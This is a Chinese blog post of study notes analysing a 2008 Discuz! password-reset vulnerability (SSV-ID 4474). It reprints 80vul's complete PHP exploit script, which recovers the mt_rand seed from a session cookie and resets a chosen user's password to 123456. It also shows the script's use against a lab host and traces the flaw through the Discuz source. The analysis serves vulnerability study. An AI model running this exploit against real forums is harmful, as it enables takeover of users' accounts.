关于 SSV-ID: 4474 POC的分析和思考
SSV-ID: 4474
SSV-AppDir: Discuz!漏洞
发布时间: 2008-11-21 (GMT+0800)
URL:http://sebug.net/vuldb/ssvid-4474
很老的一个漏洞了,只是作为学习渗透的一次材料罢了,用了它的poc,直接可以用了,感觉很神奇的同时想分析它的原理。不是什么很高端的东西,大神呵呵就好,我权当做一次学习笔记。
1.
- <?php
- print_r('
- +---------------------------------------------------------------------------+
- Discuz! Reset User Password Exploit
- by 80vul
- team: http://www.80vul.com
- +---------------------------------------------------------------------------+
- ');
- if($argc <6){
- print_r('
- +---------------------------------------------------------------------------+
- Usage: php '.$argv[0].' host path user mail uid
- host: target server (ip/hostname)
- path: path to discuz
- user: user login name
- mail: user login mail
- uid: user login id
- Example:
- php '.$argv[0].' localhost /discuz/ 80vul 80vul@80vul.com 2
- +---------------------------------------------------------------------------+
- ');
- exit;
- }
- error_reporting(7);
- ini_set('max_execution_time',0);
- $host = $argv[1];
- $path = $argv[2];
- $user = $argv[3];
- $mail = $argv[4];
- $uid = $argv[5];
- $fp = fsockopen($host,80);
- $data ="GET ".$path."viewthread.php HTTP/1.1\r\n";
- $data .="Host: $host\r\n";
- $data .="Keep-Alive: 300\r\n";
- $data .="Connection: keep-alive\r\n\r\n";
- fputs($fp, $data);
- $resp ='';
- while($fp &&!feof($fp)){
- $resp .= fread($fp,1024);
- preg_match('/&formhash=([a-z0-9]{8})/', $resp, $hash);
- if($hash)
- break;
- }
- if($hash){
- $cmd ='action=lostpasswd&username='.urlencode($user).'&email='.urlencode($mail).'&lostpwsubmit=true&formhash='.$hash[1];
- $data ="POST ".$path."member.php HTTP/1.1\r\n";
- $data .="Content-Type: application/x-www-form-urlencoded\r\n";
- $data .="Referer: http://$host$path\r\n";
- $data .="Host: $host\r\n";
- $data .="Content-Length: ".strlen($cmd)."\r\n";
- $data .="Connection: close\r\n\r\n";
- $data .= $cmd;
- fputs($fp, $data);
- $resp ='';
- while($fp &&!feof($fp))
- $resp .= fread($fp,1024);
- fclose($fp);
- preg_match('/Set-Cookie:\s[a-zA-Z0-9]+_sid=([a-zA-Z0-9]{6});/', $resp, $sid);
- if(!$sid)
- exit("Exploit Failed!\n");
- $seed = getseed();
- if($seed){
- mt_srand($seed);
- random();
- mt_rand();
- $id = random();
- $fp = fsockopen($host,80);
- $cmd ='action=getpasswd&uid='.$uid.'&id='.$id.'&newpasswd1=123456&newpasswd2=123456&getpwsubmit=true&formhash='.$hash[1];
- $data ="POST ".$path."member.php HTTP/1.1\r\n";
- $data .="Content-Type: application/x-www-form-urlencoded\r\n";
- $data .="Referer: http://$host$path\r\n";
- $data .="Host: $host\r\n";
- $data .="Content-Length: ".strlen($cmd)."\r\n";
- $data .="Connection: close\r\n\r\n";
- $data .= $cmd;
- fputs($fp, $data);
- $resp ='';
- while($fp &&!feof($fp))
- $resp .= fread($fp,1024);
- if(strpos($resp,'您的密ç å·²é‡æ–°è®¾ç½®ï¼Œè¯·ä½¿ç”¨æ–°å¯†ç 登录。')!==false)
- exit("Expoilt Success!\nUser New Password:\t123456\n");
- else
- exit("Exploit Failed!\n");
- }else
- exit("Exploit Failed!\n");
- }else
- exit("Exploit Failed!\n");
- function getseed()
- {
- global $sid;
- for($seed =0; $seed <=1000000; $seed ++){
- mt_srand($seed);
- $id = random(6);
- if($id == $sid[1])
- return $seed;
- }
- returnfalse;
- }
- function random($length =6)
- {
- $hash ='';
- $chars ='ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
- $max = strlen($chars)-1;
- for($i =0; $i < $length; $i ++)
- $hash .= $chars[mt_rand(0, $max)];
- return $hash;
- }
- ?>
2. 演示
poc不用做任何修改就可以直接使用了
php.exe DiscuzResetUserPasswordVulnerability.php 192.168.174.131 / little 306211321@qq.com 2
aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAApsAAADdCAIAAAB7bi5rAAAXCElEQVR4nO3d+XYUV2KA8XqlxJ5xPBn7GSY5jD0EswohtICQxCLAkzHji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HQCAXEDRAQDIBRQdAIBcQNEBAMgFFB0AgFxA0QEAyAV+il5B0QEAyBI+it5TkRF1ig4AgCoUHQCAXOCv6JujTtEBAFCFogMAkAt8Fz0R9QqKDgCAQkEUvYeiAwCgGEUHACAXBFT0ngqjt4KiAwCgSnBF76HoAAAoI130/wcWaBBZcUqT/AAAAABJRU5ErkJggg==" alt="" />
目标用户的密码就被你修改了111了。
3. 代码分析
我们现在来一步步分析这个漏洞成因和这个poc的利用思想。
这个漏洞利用的DZ的密码找回功能来对目标用户的密码进行非法修改的,但是系统是怎么区分是不是那个用户本人在进行密码找回呢?DZ是利用一个伪随机数算法的的随机不可测性来保证用户的真实性的,即DZ基于这个伪随机数生成函数的算法生成的id_hash来进行身份认证。但是问题也就在这里了,这个算法的随机性强度不够,导致可以通过暴力猜解的方式逆向推测出这个id_hash。
首先,poc做的第一件事是去获取一个formhash:
$data ="GET ".$path."viewthread.php HTTP/1.1\r\n"; ....
preg_match('/&formhash=([a-z0-9]{8})/', $resp, $hash);
因为DZ为了防御CSRF攻击,对每个表单都设置了formhash,这样就有效防止了跨域的CSRF攻击(虽然也有方法绕过,但这不是这次分析的范围了)
在include/global_func.php函数库中有关于formhash检查的函数实现代码:
aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAApEAAAE9CAIAAADcf66UAAAgAElEQVR4nO2dW8xdR3XH9/k+O4mQKtSHSry0D+W5D7xVFRBoAuRCuCkXiImpXWwcx1GTFPWBIlqJi7iEUm4pajEQ7pC2RAgIECihECAhxIQQkubSXBsnjm0wOMZgyacP5/Px/vbMrFlz2WfP7PP7aSnanj2z1po1s+f/7fNd0jSvfWhmk9f932Trvsm2fSvbD0x2/HJl16GVXYdWrzxi2uzWyq5DGy89vPHSwxu2P71h+9Mbth3CMAzDMKw/a5qX391c+D8nZXu9clttZfuBle0HVrceWN16YLIZwzAMs9lrn8SwvNbc8Om//sB73vnF3Tve/673fO7D2z9w9TXXffTKj/7rjW/6uy0rr/7xTLznNtm2b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B4BIpinCsxuFgWYmg2AMCYGKdmAwAAjA80GwAAoA7QbAAAgDqw/6IbAAAAlEbvv40OAAAAWUCzAQAA6gDNBgAAqAPp740DAABAOfBnngAAAOqA92wAAIA64PvZAAAAdYBmAwAA1AGaDQAAUAf8HTQAAIA6QKQBAADqAM0GAACoAzQbAACgDtDsohnrDxmMdV4AAL0yknNzrBrAvAAAYM5Izk2XBjQtlEP6SyZ0lCt5a7sQVOivL06o/4j2XMhxXf37yAQAIC9jPqq8MrP4uPoh7ZbQ6xQ/08CvCbx+9P3z4o2uaQcAKIrqzynhpS1UswWtMm9ZG739XdE1LbKflP6h15o8XbdC85yK6xIaKGIWAADlMJJzKv2A9mrV/L+dC9NhkP+UPEPbc11nTMmbp7dPc4I+sgIAKIqRHFLmgdsYCJ2nCq1qK4TQP9S/q788L01Pzbzk4gg5a6JHz0s/l9CUItoBAMphJIdUkGYInU0Zm183Q2i20NmVpzKufC3UQZln9Lxct9LziWsHACiHkRxSXplM79ysl2qvxgj+Nf01YzUaFjo21L8rVh/zCsonaPU1DgEABmckh5RXJtM7z//buTDHev2n9A/VsFy6GOo/ug6CE00+cvSIdgCAcqj+kGoMOreEUYIrV8/5P11Bva68Subtbw3trYPQ6Jpvin/XpBLrYM3Nit6/xhsAQAks6TmVfkZHe1geLRGSX8C8lqfOALA8LO85lXhMxw0PlbGqtaQ0zUawAaB2OKoiCTrohU+DR8xQs17OagPAMsChBgAAUAdoNgAAQB2g2QAAAHWAZgMAANTBeDSbnzkCAIBxMxKRQ7ABAGD0jETn0GwAABg9I9E5NBsAAEbPGHQOwQYAgGWgeqlDsAEAYEkYg9oh2wAAsAyMROqQbQAAGD0j0Tk0GwAARs9IdA7NBgCA0TMenUO2AQBg3CByAAAAdfD/us+dsiO5cwQAAAAASUVORK5CYII=" alt="" />
所以我们在进行表单的模拟提交之前,要先获取到一个有效的formhash。
接下来是发送密码找回的请求POST请求。这是UI界面的截图
aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUg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YhwkBjkD+lPGRkcIQZqDsB7sqoYXPua+Cs9Hnq0GMyaJjrAzi/QA4C0qBhYHyZS3zqWrxOrryirOC8MWyWr1YvM+LdfrLcuU+wNz+KdTLVZp035SmfYznK2R77uKxOi5Hw7c9ADgPXEoPqJOn9eOP7poSM+8zLl2y/5b3ruMstAWSzKWmp1P7MWYfWRQaEBUg+KtfnvMXY+gR7Am7OeGKTazO8RYhBZZQ0C1GLOdh1UMdhXqb1ma7FDDNKznNg0i4FaslsMwnY+QAkAlhSD1BLiLeWoXv9NYuB8BNhSjt2Y1q9VSzGw+sKIQQSUACCtKwYp/N3pKWLwMtNEMn2HaaK5YtA0TYQSAGwsLAZJaID1Fevulw+CX/1V8yN3j5vIb42m587vZ3nT1cuRrVlTTOomUr3fPf970cfYiRIAPPgfVAhBF6P4HYYAAAAASUVORK5CYII=" alt="" />
来看我们的poc代码:
if($hash){
$cmd ='action=lostpasswd&username='.urlencode($user).'&email='.urlencode($mail).'&lostpwsubmit=true&formhash='.$hash[1];
$username:目标用户名
$email:目标用户的邮箱
$formhash:formhash
接下来,poc提取出了获得的HTTP头的cookie设置信息:
$resp .= fread($fp,1024);
....
preg_match('/Set-Cookie:\s[a-zA-Z0-9]+_sid=([a-zA-Z0-9]{6});/', $resp, $sid);
这个cookie值就是第一个重点,我们之后要详细分析是怎么从这个cookie推出id_hash的。
接下来,poc进行了一些很重要的算法运算:
if(!$sid) //$sid是刚才获得cookie值
exit("Exploit Failed!\n");
$seed = getseed();
if($seed){
mt_srand($seed);
random();
mt_rand();
$id = random();
$fp = fsockopen($host,80);
$cmd ='action=getpasswd&uid='.$uid.'&id='.$id.'&newpasswd1=123456&newpasswd2=123456&getpwsubmit=true&formhash='.$hash[1]; //把算出的id_hash带入POST参数域中
那getseed()是什么意思呢?我们进入DZ的源代码进行白盒分析一下,看看80vul是怎么利用逆向算法达到爆破的目的的(我自己感觉这有点类似逆向里面的算法逆向,原理差不多,都是从结果推出起源)
我们刚才第二次发出的POST请求:
$cmd ='action=lostpasswd&username='.urlencode($user).'&email='.urlencode($mail).'&lostpwsubmit=true&formhash='.$hash[1];
对应到代码里面就是这段:
member.php
elseif($action == 'lostpasswd')
{
$discuz_action = 141;
if(!submitcheck('lostpwsubmit'))
{//基于formhash的CSRF检查
include template('lostpasswd');
}
else
{
$secques = quescrypt($questionid, $answer);
$query = $db->query("SELECT uid, username, adminid, email FROM {$tablepre}members WHERE username='$username' AND secques='$secques' AND email='$email'");
if(!$member = $db->fetch_array($query))
{
showmessage('getpasswd_account_notmatch', NULL, 'HALTED');
}
elseif($member['adminid'] == 1 || $member['adminid'] == 2)
{
showmessage('getpasswd_account_invalid', NULL, 'HALTED');
}
$idstring = random(6);
$db->query("UPDATE {$tablepre}memberfields SET authstr='$timestamp\t1\t$idstring' WHERE uid='$member[uid]'");
sendmail("$username <$member[email]>", 'get_passwd_subject', 'get_passwd_message');
showmessage('getpasswd_send_succeed');
}
}
可以看到,程序先进行CSRF检查,然后根据我们提交的目标用户参数从数据库中查出username,adminid,email参数,并判断adminid是否为1/2(普通用户的adminid都是从3开始算起的,管理员是1),即不能找回管理员的密码。
然后就是一句很关键的话了:
$idstring = random(6);
接下来就直接把生成的id_hash插入数据库中。
$db->query("UPDATE {$tablepre}memberfields SET authstr='$timestamp\t1\t$idstring' WHERE uid='$member[uid]'");
random()函数位于:/include/global_func.php中
function random($length, $numeric = 0)
{
PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);
if($numeric)
{
$hash = sprintf('%0'.$length.'d', mt_rand(0, pow(10, $length) - 1));
}
else
{
$hash = '';
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
$max = strlen($chars) - 1;
for($i = 0; $i < $length; $i++)
{
$hash .= $chars[mt_rand(0, $max)];
}
}
return $hash;
}
注意第一句话:
PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);
自 PHP 4.2.0 起,不再需要用 srand() 或 mt_srand() 给随机数发生器播种 ,因为现在是由系统自动完成的。
我们的PHP版本在5.0以上,所以种子都是由系统自动完成的。
然后代码在26个字母包括大小写和数字中随机生成执行长度$length的伪随机字符串。
所以,我们现在知道了,在我们发出找回密码的POST请求的时候,系统会运行代码:
$idstring = random(6);
生成个6位伪随机字符串然后插进数据库。
aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAAfoAAABzCAIAAAD/v1e6AAAKp0lEQVR4nO2dzW7bVhaAz/N4Oyph6RHqRzCQInIi2E/hRdqZyA4sbbOLu0phoLEDRIPWnoWXCQIDre0uTMKAUcwMBmprt4llu9OKs6BIXpJXsvyjIcXzfTiLqytekvc4+Xh9RIviTzme5+V9ClOD53k/XvgEQegMyVtBdwXdjw+6JwjNge4Vge4JQnOge0Wge4LQHOheEeieIDQHulfEnXXfmZfq8kH+/2oJgrhFoHtFoHuC0Bzo/na4rao0Onkc+Q7cSvfusiPzm0F7TN2bQwiCKErIxeXvUx2e5+Vx3B9WHKlv5T/9m+bqHz/7Nwx3qSJzXwXtzpxUl97faAhBEEUJCXm0mRDZ67qIOM8OLn+/uHxdDzdyVn9IbyMiEonvdV1mV7aeOVHn1qPkwIkozHgZndLsyuqj8PxHzSie+OEzx9K2ztQYPk6KnGcHY2TmYHU287OYpO7ft2bC4w3U/L41I42//Wy2O3PRTCutLwPdf94Y9HzWCXb15efVcKPskED9nbnBy/z/xROE2pDexVXv4qq3uSCysHlx1bs4bDoStq96F1t1mW0eBO3DpiP1zcw28dituog4q/uDTpH6Vu/iqnew6sQ7vOfwPC9sb9UlOL3wDIMzscxInJXD9MTNk4zbw2YapWK8FF2bmUmmyMxV+IN3lz4L5ftVQwLLW3TvZ1b3oeXft2aClb45Ktp5PMRdqoikNyAIIocIdZ/0VCiy0E0Gzsphepv4pSm+Ye2J6X5zIfR76mVmRuZm0bvDdW+bqdE/VoquzcxWXUQmlqUoVzs/9aNYfxL9PvH4rz/1d96tzQSNRPtoqSJzL4Mhb+Zkduld0D5aqgTtN3MiE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+0EZJ9nJR7WFoky6vxu67rsHjaRvmxlZhZ9oQC6g+wh9f1ULyhil+w3/xL/mb6PQ/bSD7hVBrpQzTPfLx74/xjcfoPtpB90rglwp5/9mc3RfTNC9IsgVgGbQvSLIFYBmZFLPPAcAgCIhV1PO2dlZ3qcwNZArAM2ge0WQKwDNoHtFkCsAzaB7RZArAM2ge0WQKwDNoHtFkCsAzaB7RZArAM2ge0WQKwDNoHtFkCsAzaB7RZArAM2ge0WQKwDNoHtFkCsAzaB7RZArAM2ge0WQKwDNoHtFkCsAzaB7RZArAM2ge0WQKwDNoHtFkCsAzaB7RZArAM2ge0WQKwDNoHtFkCsAzciknnkOAABFQvwp5+zsLO9TmBrIFYBm0L0iyBWAZtC9IsgVgGbQvSLIFYBm0L0iyBWAZtC9IsgVgGbQvSLIFYBm0L0iyBWAZtC9IsgVgGbQvSLIFYBm0L0iyBWAZtC9IsgVgGbQvSLIFYBm0L0iyBWAZtC9IsgVgGbQvSLIFYBm0L0iyBWAZtC9IsgVgGbQvSLIFYBm0L0iyBWAZtC9IsgVgGZkUs88BwCAIjH1q3sAABgHdA8AoAJ0DwCgAnQPAKACdA8AoIL/ASw1tSaqlMLpAAAAAElFTkSuQmCC" alt="" />
那这个我们poc中第三步得到的cookie有什么关系呢?我们继续分析poc代码,之后会详细分析cookie值和和id_hash的关系。
poc做的第三步是:
$cmd ='action=getpasswd&uid='.$uid.'&id='.$id.'&newpasswd1=123456&newpasswd2=123456&getpwsubmit=true&formhash='.$hash[1];
$data ="POST ".$path."member.php HTTP/1.1\r\n";
action:重设密码的动作
uid:前面填写的目标用户的id
id:我们通过算法得到的伪随机字符串
newpasswd:新密码
formhash:formhash
这一步就相当于我们在邮箱会收到一封确认邮件,要求我们点击然后去重设密码的链接一样。
这个动作对应到:member.php里面的代码逻辑是:
elseif($action == 'getpasswd' && $uid && $id)
{
$discuz_action = 141;
$query = $db->query("SELECT m.username, mf.authstr FROM {$tablepre}members m, {$tablepre}memberfields mf
WHERE m.uid='$uid' AND mf.uid=m.uid");
$member = $db->fetch_array($query);
list($dateline, $operation, $idstring) = explode("\t", $member['authstr']);
if($dateline < $timestamp - 86400 * 3 || $operation != 1 || $idstring != $id)
{
showmessage('getpasswd_illegal', NULL, 'HALTED');
}
if(!submitcheck('getpwsubmit') || $newpasswd1 != $newpasswd2)
{
include template('getpasswd');
}
else
{
if($newpasswd1 != addslashes($newpasswd1))
{
showmessage('profile_passwd_illegal');
}
$password = md5($newpasswd1);
$db->query("UPDATE {$tablepre}members SET password='$password' WHERE uid='$uid'");
$db->query("UPDATE {$tablepre}memberfields SET authstr='' WHERE uid='$uid'");
showmessage('getpasswd_succeed');
}
}
可以看到,代码会从数据库查出我们刚才的找回密码动作产生的id_hash。然后判断一下是否过了3天的timesxpire。然后是最关键的:
|| $idstring != $id
直接对我们提交的$id和数据库中的伪随机字符串$idstring进行等值比较,也就是说,我们的算法得出的$id必须要能够等于数据库中的$idsring才能通过密码重设逻辑。
我们现在可以回过头来分析一下我们的poc算法是怎么通过cookie值算出这个伪随机id_hash的了。
通过webscarab代理拦截抓包,发现DZ是先对我们本地写进一个cookie值,再发送HTTP实体内容的。也就是说在调用random(6)生成伪随机id_hash之前,先生成了一个cookie并发往我们的浏览器。
从member.php中处理找回密码的代码逻辑的地方往前回溯,发现在头部require了一个common.inc.php文件。在这里下断点die("ok")。发现cookie值依然获取到了
aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAAdcAAABJCAIAAADg/fsRAAAFj0lEQVR4nO3dUXLrKBCFYW03q5iVTFW2MavTPEUlA910NyBA/r+HlCLjpsHSub4Z587x+/v78/Pzz7//nX+O4ziOQzq+Kz4lkT/Ut75lRsu8xidahhUH6PtgX8U49/7PbDn566KPz1dRrRNuGNja4U3hchXPQ33r64NbjnvVtJ+xPzrCPUZPIVW94717G2sY2BopPPzYfia85Gt8SyrdYzT5Vk9PZbzl9Q23XXxi+z4ADyuk8Jn95bF4Ph+fls7kg431pSnEVal9Fid19dOljr4i13r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vfEo8db4XFpEs81nFRdV7Lnsod8Eh+mBuATLfg+cTdTu8erz04kcfdIN6rnDP0/gMzmSGKA33Htv04H4RoXzNRvhVC+TrelpDhck/1k9jC5zwB8kPU/sXV4amjw64A4QYeOt6ZeGMNDHVZPCb4sNyceD8AHudEneyRlEvpb/dp6AX7B5yXxo/c29Fv95qoBvt5HJjEAfA1JDAA7SWIA2EkSA8BOkhgAdjomsZ/LBYB3qiSxMAaAt5HEALBT5fvEwhgA3qb+E1vCGADew3tiANjJ94kBYCdJDAA7+X1iANjJZ2wBwE6SGAB2ksQAsJMkBoCdJDEA7CSJAWAnSQwAO0liANhJEgPATpIYAHaSxACw0yGJ/wsAvx19rM8ZbAAAAABJRU5ErkJggg==" alt="" />
说明common.inc.php里面包含了设置cookie信息的代码:
include/common.inc.php
看到了设置cookie的代码:
if(empty($_DCOOKIE['sid']) || $sid != $_DCOOKIE['sid'])
{
dsetcookie('sid', $sid, 604800);
}
继续回溯$sid。
$sid = daddslashes(($transsidstatus || CURSCRIPT == 'wap') && (isset($_GET['sid']) || isset($_POST['sid'])) ?
(isset($_GET['sid']) ? $_GET['sid'] : $_POST['sid']) :
(isset($_DCOOKIE['sid']) ? $_DCOOKIE['sid'] : ''));
接着回溯$_DCOOKIE['sid']。
if(!$sessionexists)
{
if($discuz_uid)
{
$query = $db->query("SELECT $membertablefields, m.styleid
FROM {$tablepre}members m WHERE m.uid='$discuz_uid' AND m.password='$discuz_pw' AND m.secques='$discuz_secques'");
if(!($_DSESSION = $db->fetch_array($query)))
{
clearcookies();
}
}
if(ipbanned($onlineip)) $_DSESSION['ipbanned'] = 1;
$_DSESSION['sid'] = random(6);
$_DSESSION['seccode'] = random(6, 1);
}
注意这里的if判断。if(!$sessionexists):session值不存在的时候进入这块代码逻辑,而我们知道session虽然存在服务器上,但是session和用户的对应关系是通过我们发往服务器的cookie值来链接的,但是我们的poc没有发送任何cookie,所以每次我们的session都为空,也就都会进行这块代码逻辑。
看关键的两句:
$_DSESSION['sid'] = random(6);
$_DSESSION['seccode'] = random(6, 1);
第一句是生成一个6位长度的伪随机字符串,第二句是生成一个1位长度的伪随机字符串。本质上就是6次mt_rand()加上1次mt_rand()。
这里有一个很重要的知识点要注意,关于PHP的mt_rand(),因为我们在这次HTTP交互中是第一次使用mt_rand(),所以系统会自动生成一个seed,不用我们再手动赋值seed,而这个seed在本次HTTP交互中就不会再变了,后面不管多少次mt_rand()都是基于这个seed。
整理一下DZ的整个代码流程:
1. 在第一次的mt_rand()之前由系统自动生成一个seed,这个过程对程序员是透明的。--------等效于破出里面的mt_srand($seed);
2. 6次mt_rand()生成一次sid,用于set-cookie。-----等效于poc里面的一次random()调用
3. 1次mt_rand()生成一个seccode------等效与poc里面的一次mt_rand()
4. 6次mt_rand()生成一个idstring,即id伪随机字符串,并保存进数据库--------等效于poc里面的一次random()调用
好,我们接下来来看看poc里面生成id_hash的算法是怎么写的:
function getseed()
{
global $sid;
for($seed =0; $seed <=1000000; $seed ++)
{
mt_srand($seed);
$id = random(6);
if($id == $sid[1])
{
return $seed;
}
}
return false;
}
因为PHPmt_rand()默认的自动种子的原理就是:
((double)microtime() * 1000000);
所以for循环的最大值就是1000000。
然后代码用cookie中sid一样的生成方式random(6)去生成一个随机hash,用这个hash来和cookie值进行比较,并通过 for循环不断的更换seed种子,对seed进行逆向猜测,看到这里,我突然感觉到这个逆向中的算法注册机的思想是类似的。都是一种算法逆向思想,这也是为什么要写这篇文章的原因,感觉这种思想还是比较有意思的。
接下来,如果得到了和sid一样的hash,则表明我们逆向推出了seed,然后再按照DZ的程序逻辑,一一对应的运行相应次数的mt_rand(),正向得到id_hash。
得到id_hash之后,就可以构造第三个POST数据包,对目标用户进行密码重置了。
aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAAhoAAACcCAIAAAC2rZWdAAAME0lEQVR4nO3aW24bRxbG8VrgXB4smTsIEGAGswbbMr2GvDmxIK8iiWEbMuAdBJg4sALIQJ7mIssW7SHnoclmdVWdU6ebh2RT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0kZIQSqPJp82DxN7mlFVZDrTkjaXl6WOkyJQ2kpXoF1VNF+lm9r0uy379LO0eSyQDSIwlTqTWH28P/gba6+vn4DhR2l++vA37vv0QaUzxKOlKi9eeHCi13V5x4hWT+rNItu3ZA0AxljhZmDv1Qu5u0pzJtr1lSyFnjxM9Oao9vXiI3nb1MfarMwatJfPscSIdNeA7hHR2y7OrngtAbkRxsuj5ZVNvQ0rXMMaJ0t+lo6oZkP+oXEJxKn1n9cC8P0r3Jw+h/NM8NftmibK2vu27V5wY10mEAHYjipM8BoqNOBkfDy7Ok+/Ue5blu7l+6mRbWph0VPFi85HSYvIByv7i4dJ9rsbqsK/wUhQpj0C5dcWS5rGsre/lAHfWWOLE3r7tO/WeIo2vnqXa8Yvf3JOj8mOV2SyLKV5y9Zt+skhlgHE90k6FHqv5fuWovvPnt0i5gcPCErg7xhInAICDRpwAABwQJwAAB8QJAMABcQIAcECcAAAcECcAAAfECQDAAXECAHBAnAAAHBAnAAAHxAkAwAFxAgBwQJwAABwQJwAAB8QJAMABcQIAcECcAAAcECcAAAfECQDAAXECAHBAnAAAHGw9TiiKoqi7UNuNEwDAHUGcAAAcECcAAAfECQDAAXECAHBAnAAAHBAnAAAHxAkAwAFxAgBwQJwAABwQJwAAB8QJAMABcQIAcECcAAAcECcAAAfECQDAAXECAHBAnAAAHBAnAAAHxAkAwAFxAgBwQJwAABwQJwAAB8QJAMDB/wGpqFte8nLAZQAAAABJRU5ErkJggg==" alt="" />
这样,就完成了通过暴力猜解对任意用户的密码进行重置。
4. 漏洞成因
我感觉这个漏洞的成因就是因为现在的伪随机算法本身的随机性就不强,即明文空间太小了,攻击者可以有限的时间内对明文空间进行暴力猜的,达到密文空间。如果要解决这个问题,应该更换明文空间更大的算法。类似MD5,SHA1那种,让基于逆向算法的猜解变得很难才行。
至此,整个poc就分析这样了,接下来继续学习DZ的其他的漏洞和poc,希望能从每个漏洞中都认真分析,学到点东西。
关于 SSV-ID: 4474 POC的分析和思考的更多相关文章
- JQuery选择器中含有冒号的ID处理差异的分析
问题提出 对于一个输入框, 如果其id中含有冒号(:),选择器使用需要有特殊写法, 例如 id为下 <input type="text" value="ddd&qu ...
- Mysql批量插入返回Id错乱(原因分析)
在项目中经常会有如下场景: 往数据库中批量插入一批数据后,需要知道哪些插入成功,哪些插入失败了. 这时候往往会有两种思路,一个是在插入之前判断相同的记录是否存在,过滤掉重复的数据:另外一种就是边插入边 ...
- 一个页面有相同ID元素的情况分析
经常会遇到一个页面中有相同定义相同id的情况,从道理上来说,id应该是这个页面中某个元素的唯一标识,所以不应该出现有相同id的情况,否则会产生意想不到的结果.而且各个浏览器的表现也是不一样的.我只做了 ...
- PHP中Session ID的实现原理分析
ession 的工作机制: 为每个访问者创建一个唯一的 id (UID),并基于这个 UID 来存储变量.UID 存储在 cookie 中,亦或通过 URL 进行传导. PHPSESSIONID的生产 ...
- Linux-某电商网站流量劫持案例分析与思考
[前言] 自腾讯与京东建立了战略合作关系之后,笔者网上购物就首选京东了.某天在家里访问京东首页的时候突然吃惊地发现浏览器突然跳到了第三方网站再回到京东,心里第一个反应就是中木马了. 竟然有这样的事,一 ...
- memcache redundancy机制分析及思考
设计和开发可以掌控客户端的分布式服务端程序是件幸事,可以把很多事情交给客户端来做,而且可以做的很优雅.角色决定命运,在互联网架构中,web server必须冲锋在前,注定要在多浏览器版本以及协议兼容性 ...
- 我对Padding Oracle Attack的分析和思考
道哥的<白帽子讲web安全>有一章提到Padding Oracle Attack的攻击方式,据说这货在2011年的Pwnie Rewards上还被评为"最具价值的服务器漏洞&qu ...
- Linux内核分析:页回收导致的cpu load瞬间飙高的问题分析与思考--------------蘑菇街技术博客
http://mogu.io/156-156 摘要 本文一是为了讨论在Linux系统出现问题时我们能够借助哪些工具去协助分析,二是讨论出现问题时大致的可能点以及思路,三是希望能给应用层开发团队介绍一些 ...
- WEB项目日志分析系统思考
一.为什么需要日志分析系统 对ETL系统中数据转换和存储操作的相关日志进行记录以及实时分析有助于我们更好的观察和监控ETL系统的相关指标(如单位时间某些操作的处理时间),发现系统中出现的缺陷和性能瓶颈 ...
随机推荐
- single-write-database-connection
http://ithare.com/ultimate-db-heresy-single-db-connection-part-i-performance-part-ii-scalability-to- ...
- swifttextfield代理方法
//MARK:textfield delegate //键盘的高度 func textFieldShouldBeginEditing(textField: UITextField) -> Boo ...
- <实训|第五天>通过搭建NFS,FTP实现共享文件附Vim脚本游戏
先说个事情:我周末是不更新这个系列教程的,不过其他内容的会更新,我周末就整理这一周的各种内容到我的微信公众号中,提供给大家! 期待已久的linux运维.oracle"培训班"终于开 ...
- git的理解
1.对git的分支怎么理解. git的本地,git的跟踪,如果我们的本地的命令行进入某个分支的话,我们的本地对应的文件夹就显示某个,然后我们的ide打开的就是那个分支 2.git的在线视频教学 htt ...
- javascript正则表达式验证IP,URL
验证IP function isIP(ipstr){ var reg = /^(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[ ...
- bindService初步了解
bindService的使用: 当需要调Service里面的方法时,可以用bindService() 首先定义一个类继承于Service,然后配置Manifest.xml文件 public class ...
- C#中的Where和Lambda表达式
1 2 3 4 5 6 7 8 9 10 11 List<string> listString = new List<string>(); listString.Add(&qu ...
- 【摘抄】将xml注释文档生成网页
config.SetDocumentationProvider(new XmlDocumentationProvider(HttpContext.Current.Server.MapPath(&quo ...
- 现代软件工程 第十六章 【IT 行业的创新】练习与讨论
16.6.0 Xerox Parc 的成功创新和推向市场的失败 http://research.microsoft.com/en-us/um/people/blampson/Slides/AltoA ...
- android相关技术及岗位
Android应用开发 Android底层嵌入式 Android架构师 应用开发路线javaSE-->java for Android——>eclipse使用技巧-->A ...